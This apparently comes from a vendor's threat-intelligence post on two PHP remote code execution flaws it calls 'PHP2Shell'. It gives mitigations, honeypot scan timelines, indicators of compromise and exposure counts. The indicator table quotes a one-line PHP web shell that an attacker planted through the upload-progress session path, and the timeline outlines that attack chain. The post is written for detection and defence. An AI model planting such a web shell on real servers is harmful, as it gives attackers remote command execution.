Go back

PHP2Shell Vulnerabilities: CVE-2026-109618 and CVE-2026-109619

Landon RiceCaitlin Condon

VulnCheck In the Wild: Join our research team on October 28 at 1 PM ET for a deep dive on exploiting PHP2Shell.

News of two impending critical RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619) in PHP prompted a huge, global overnight effort on Tuesday, October 20 when word of the vulnerabilities' existence leaked ahead of the planned patch release. The PHP team confirmed an upcoming security release shortly after the leak occurred. Naturally, upon seeing the leaked info, a thousand LLMs were immediately pointed at PHP source code.

On October 21, PHP published vulnerability details on what the community inevitably christened "PHP2shell":

  • CVE-2026-109618: RCE via OOM corruption (GHSA-w8hw-w9fx-j79w). Out-of-memory handling can interrupt PHP while internal request data is only partially initialized. Request cleanup may then treat the invalid data as valid.
  • CVE-2026-109619: RCE via stale global state (GHSA-6wmf-4rv5-p3rp). Request-owned internal state can survive after its backing memory has been freed. A later request handled by the same worker may use that stale state before normal initialization resets it.

VulnCheck research observations

The VulnCheck research team independently reproduced CVE-2026-109618 and CVE-2026-109619 late the evening of October 20. The team's early analysis was that the vulnerabilities can be exploited for RCE successfully on ARM64 systems and x86 systems without ASLR. ASLR should therefore somewhat reduce the available attack surface area.

VulnCheck exploit availability: As of 1:30 AM ET on Thursday, October 22, the VulnCheck team had a weaponized exploit for CVE-2026-109618 available to Initial Access Intelligence customers, along with a dozen+ network rules. Our initial exploit leveraged a confirmed memory leak chained into RCE on PHP 8.4.26 and was successful on x86-64 platforms with ASLR enabled and display_errors=off, the recommended production configuration. As of 7 PM ET on October 22, the exploit supports PHP 8.4.10-8.4.26 with no modifications. We are not aware of any other public or commercial exploit that achieves RCE on multiple versions of PHP in production configurations, though we expect that to change as adversaries develop incrementally more sophisticated attacks. The team's memory leak also works on ARM64, but the RCE is not yet functional on ARM-based systems.(On ARM64, ASLR can be bruteforced relatively easily.)

Hundreds of proof-of-concept repos have flooded GitHub, which our team is reviewing as they come in. Only a very small number have been legitimate exploits, but as of 7 PM ET on October 22, we've identified at least one PoC that successfully bypassed ASLR on x86-64 systems for a single version of PHP (8.4.26) with default heap configurations. In our team's testing, the PoC did not work outside of this specific setup.

We expect to continue seeing widespread exploit attempts with public PoCs, irrespective of whether the PoC code is functional or the target is exploitable. VulnCheck-reviewed GitHub exploits are available to the community in our XDB.

Mitigation guidance

The fixed versions are PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35. PHP 8.1 and older no longer receive supplier-provided patches. PHP's suggested mitigations for those who cannot apply patches immediately are in the advisory and reproduced below:

RCE via OOM corruption (CVE-2026-109618)

Set memory_limit=-1, preferably in a way applications can't override, such as php_admin_value in the FPM pool or Apache configuration, and check that no pool, directory or application setting puts a finite limit back. This removes the controllable PHP memory limit failure, but an underlying allocation failure can still reach the vulnerable path.

Set a low post_max_size. For applications that don't require file uploads, set post_max_size = 8M. If file uploads are necessary, set post_max_size = 32M. Keep upload_max_filesize below post_max_size. Consider enforcing limits at the web server or proxy level for decoded request size, input field count, multipart part count, header count, and nesting depth. These limits must also cover requests without a usable Content-Length.

Use a container or cgroup limit as an availability boundary, preferably with a policy that kills only the affected worker. Do not substitute RLIMIT_AS or RLIMIT_DATA, as these can cause the vulnerable allocation failure.

RCE via stale global state (CVE-2026-109619)

Set session.upload_progress.enabled=0 and restart every worker. Use php.ini, an FPM pool or server configuration that applies before request parsing. Do not rely on ini_set() or FPM .user.ini. This blocks the confirmed session paths but not other variants.

On PHP 8.5, set fatal_error_backtraces=0 and restart every worker. This blocks the confirmed fatal backtrace path only. Remove invalid or deprecated settings applied per request that emit diagnostics before initialization. Hiding diagnostics with error_reporting, display_errors or @ does not help.

Fix attacker-reachable fatal errors and execution timeouts, including failures in callbacks, upload or import processing and cleanup.

VulnCheck Canary Observations

VulnCheck Canary Intelligence recorded early behavior from two source IPs with the user-agent php2shell-scan/109618, which sent multipart file upload requests to index.php on hosts in several cloud regions and providers. The behavior observed appears to target CVE-2026-109618, the upload-progress vulnerability, where a multipart POST to any PHP endpoint that is processed by upload-progress can cause a memory limit failure. The scanning tool indicated in the user-agent references the same CVE number and the multipart upload requests utilize the upload-progress code path. For the IP addresses sharing the user-agent, our Canary hosts say two files named a and b are uploaded, but in this case was not enough to force memory exhaustion in one request.

We’ve also observed at least one attempted exploit from a China-based IP which tried to (unsuccessfully) drop a webshell via a server-side session file. It tried to read the file back through a file disclosure path, but the path did not exist, so the attempt received a 404.

Timeline (UTC, October 21, 2026)

TimeSourceTargeted CVEActivity
08:37 – 08:5285.11.167.243CVE-2026-109618Probe: GET /index.php, then a multipart POST /index.php with UA php2shell-scan/109618. Sent to 9 hosts.
09:28 – 10:4685.11.167.243none specific (reconnaissance)Follow-up sweep: GET / with four rotating browser User-Agents (Chrome/Edge, IE 11, Safari, Firefox) to 58 hosts.
14:15 – 14:2445.198.224.169CVE-2026-109618The same probe (UA php2shell-scan/109618, multipart POST /index.php) against 2 hosts.
14:32 – 14:3745.198.224.169CVE-2026-109618 (likely follow-up)Short POSTs to /index.php and /: a 13-byte body, no User-Agent. Sent to 3 hosts.
15:5245.198.224.169—Last connection observed.
15:55109.71.252.97CVE-2026-109618/109619Probe with UA php2shell-scan/1.3 (eigen-oppervlak controle; CVE-2026-109618/109619) (Dutch: "own-surface check"). GET /, then common PHP info pages (/phpinfo.php, /info.php, /php.php, /pi.php, /test.php, /i.php), then /php2shell-probe-<random>.php and .txt. Sent to 1 host.
17:22 – 17:24221.14.159.134CVE-2026-109618 (upload-progress path)Exploitation attempt, UA Mozilla/5.0 (php2shell-poc). A multipart POST /index.php plants a web shell through PHP_SESSION_UPLOAD_PROGRESS, and 10 GET /download.php?file=php://filter/... requests try to read the resulting session file. All reads returned 404. See below.
17:2391.90.123.25CVE-2026-109618Check with UA php2shell-verify/1.0: GET /vuln.php (404), GET /index.php, POST /. Sent to 1 host.

In total, 85.11.167.243 connected to 188 canary hosts while 45.198.224.169 connected to 26. Three later sources each touched one host.

Indicators of compromise

Network

IndicatorTypeNetworkCVEFirst seen (UTC)Last seen (UTC)Use it toExpected shelf life
85.11.167.243IPv4AS209630 TechTies Inc. (85.11.167.0/24, NL)CVE-2026-1096182026-10-21 08:372026-10-21 10:46Block; hunt in logsDays. Hosting IPs rotate.
45.198.224.169IPv4AS215925 VPSVAULT.HOST LTDCVE-2026-1096182026-10-21 14:152026-10-21 15:52Block; hunt in logsDays. Hosting IPs rotate.
109.71.252.97IPv4Datalix (AS58087 / AS213250, DE)CVE-2026-109618/1096192026-10-21 15:552026-10-21 15:55Block; hunt in logsDays. Hosting IPs rotate.
221.14.159.134IPv4AS4837 China Unicom (Henan, CN)CVE-2026-109618 (exploitation attempt)2026-10-21 17:222026-10-21 17:24Block; hunt in logs; check for follow-up requestsDays to weeks. Residential/ISP address.
91.90.123.25IPv4AS9009 M247 Ltd (Brussels, BE)CVE-2026-1096182026-10-21 17:232026-10-21 17:23Block; hunt in logsDays. Hosting IPs rotate.
php2shell-scan/109618HTTP User-Agent—CVE-2026-1096182026-10-21 08:372026-10-21 14:24Alert in WAF/IDS; hunt in logsUntil the tool changes it. Trivial to change.
php2shell-scan/1.3 (eigen-oppervlak controle; CVE-2026-109618/109619)HTTP User-Agent—CVE-2026-109618/1096192026-10-21 15:552026-10-21 15:55Alert in WAF/IDS; hunt in logsTrivial to change.
php2shell-verify/1.0HTTP User-Agent—CVE-2026-1096182026-10-21 17:232026-10-21 17:23Alert in WAF/IDS; hunt in logsTrivial to change.
Mozilla/5.0 (php2shell-poc)HTTP User-Agent—CVE-2026-109618 (exploitation attempt)2026-10-21 17:222026-10-21 17:24Alert in WAF/IDS; hunt in logsTrivial to change.
xqsuvwz3n97wu8j3emz1axuo5yPHPSESSID value / session filename sess_xqsuvwz3n97wu8j3emz1axuo5y—CVE-2026-109618 (exploitation attempt)2026-10-21 17:222026-10-21 17:24Search request logs, and session directories for the filePer-run value; may be hard-coded in the tool.
------p2s9rdme2st6guc9g0rafic / p2s.txtMultipart boundary / upload filename—CVE-2026-109618 (exploitation attempt)2026-10-21 17:222026-10-21 17:24Match in WAF/IDS request-body logsUnknown; possibly hard-coded.
<?php echo 'PWNED::'; system($_GET['c']); ?>Web shell planted via PHP_SESSION_UPLOAD_PROGRESS—CVE-2026-109618 (exploitation attempt)2026-10-21 17:222026-10-21 17:24Search session files and request-body logs; PWNED:: in any response means it ranTrivial to change.

Uploaded content (SHA-256)

File partSize (bytes)SHA-256Seen from
a10,370150ae88f0999032e2a6113501d6082f54a3ed98d02427b21a96e773a27d7bf16both sources
a8,92240caf199ca1ebe056a74427f8e9db06c66899e33ae09c0ec2769ec70bf6dd8e745.198.224.169
b6427d926a6708d6769d97d065e7a5a860ab496eab272c03d1cebc55ec71b954fa2both sources
request body131485e14e0f62bc94664eec341cabd275dad7d30b1d496c40ec340c9a0d9f0ba845.198.224.169 (follow-up POSTs)

PHP on the internet: VulnCheck Target Intel observations

VulnCheck Target Intelligence has identified PHP on 2,608,039 internet-facing hosts. That is 1.86% of the roughly 140 million IP addresses we saw responding on web protocols in the last 30 days. Based on the version information visible to us, we believe 2,607,985 of them (99.998%) are vulnerable or likely vulnerable to PHP2Shell.

The internet-facing target population splits fairly evenly:

  • 1,474,985 hosts (56.56%) advertise a PHP version below the fixed build for their branch.
  • 1,133,000 hosts (43.44%) run PHP but don't expose a version. We're treating these as versionless and are likely vulnerable, given how recent the CVE is. The fixed releases are only hours old, so there’s little reason to assume otherwise.

Patching has already started, if slowly. We see patching is beginning with some hosts on a fixed build (8.5.12, 8.4.27, 8.3.36 or 8.2.35).

Notably, a large share of the vulnerable population is on branches that PHP no longer supports:

  • 700,000+ hosts (27% of PHP hosts) run PHP 3.x through 7.3. These branches are end-of-life and won't receive a fix. PHP 7.4.33, the final 7.x release and still the single most common version we see, is on 172,000+ hosts.
  • Just under 400,000 hosts (15%) run PHP 7.4, 8.0 or 8.1. These are also end-of-life. The PHP security team has published source backports for them, but no new release, so they stay x exposed until someone rebuilds PHP by hand.

Taken together, 1.1 million+ hosts, about 42% of everything running PHP, are on end-of-life branches with no official patched release. For comparison, 403,000 hosts sit on the supported 8.2 through 8.5 branches and can upgrade more simply.

How PHP was found

Most of these hosts tell us they run PHP. 2,146,053 hosts (82%) identify it directly in their HTTP responses, typically through the X-Powered-By header or a cookie. The other 462,000 hosts (17.71%) never mention it because they run an application built on it.

Across the roughly 106 million hosts we see serving HTTP, PHP appears on 2.45%. Hosts that identify PHP directly make up 2.02%, and hosts found only through an application make up another 0.43%.

Apps commonly associated with PHP

PHP often hides behind the application on top of it. Defenders shouldn't assume a system is unaffected just because it doesn't advertise PHP. These common applications are frequently associated with PHP and are exposed if the interpreter underneath is vulnerable:

ApplicationHosts
WordPress469,699
Laravel (incl. Livewire)124,866
Joomla26,591
Drupal24,116
Magento / Adobe Commerce3,735
MediaWiki2,116
Symfony2,104
phpBB1,391
WHMCS59

All of these figures should be considered to be floors; we count each host once based on its most recent scan. Linux distributions often backport security fixes without changing the version string, so some hosts appearing vulnerable may not update version numbers after patching occurs.

About VulnCheck

VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.

Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.

To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.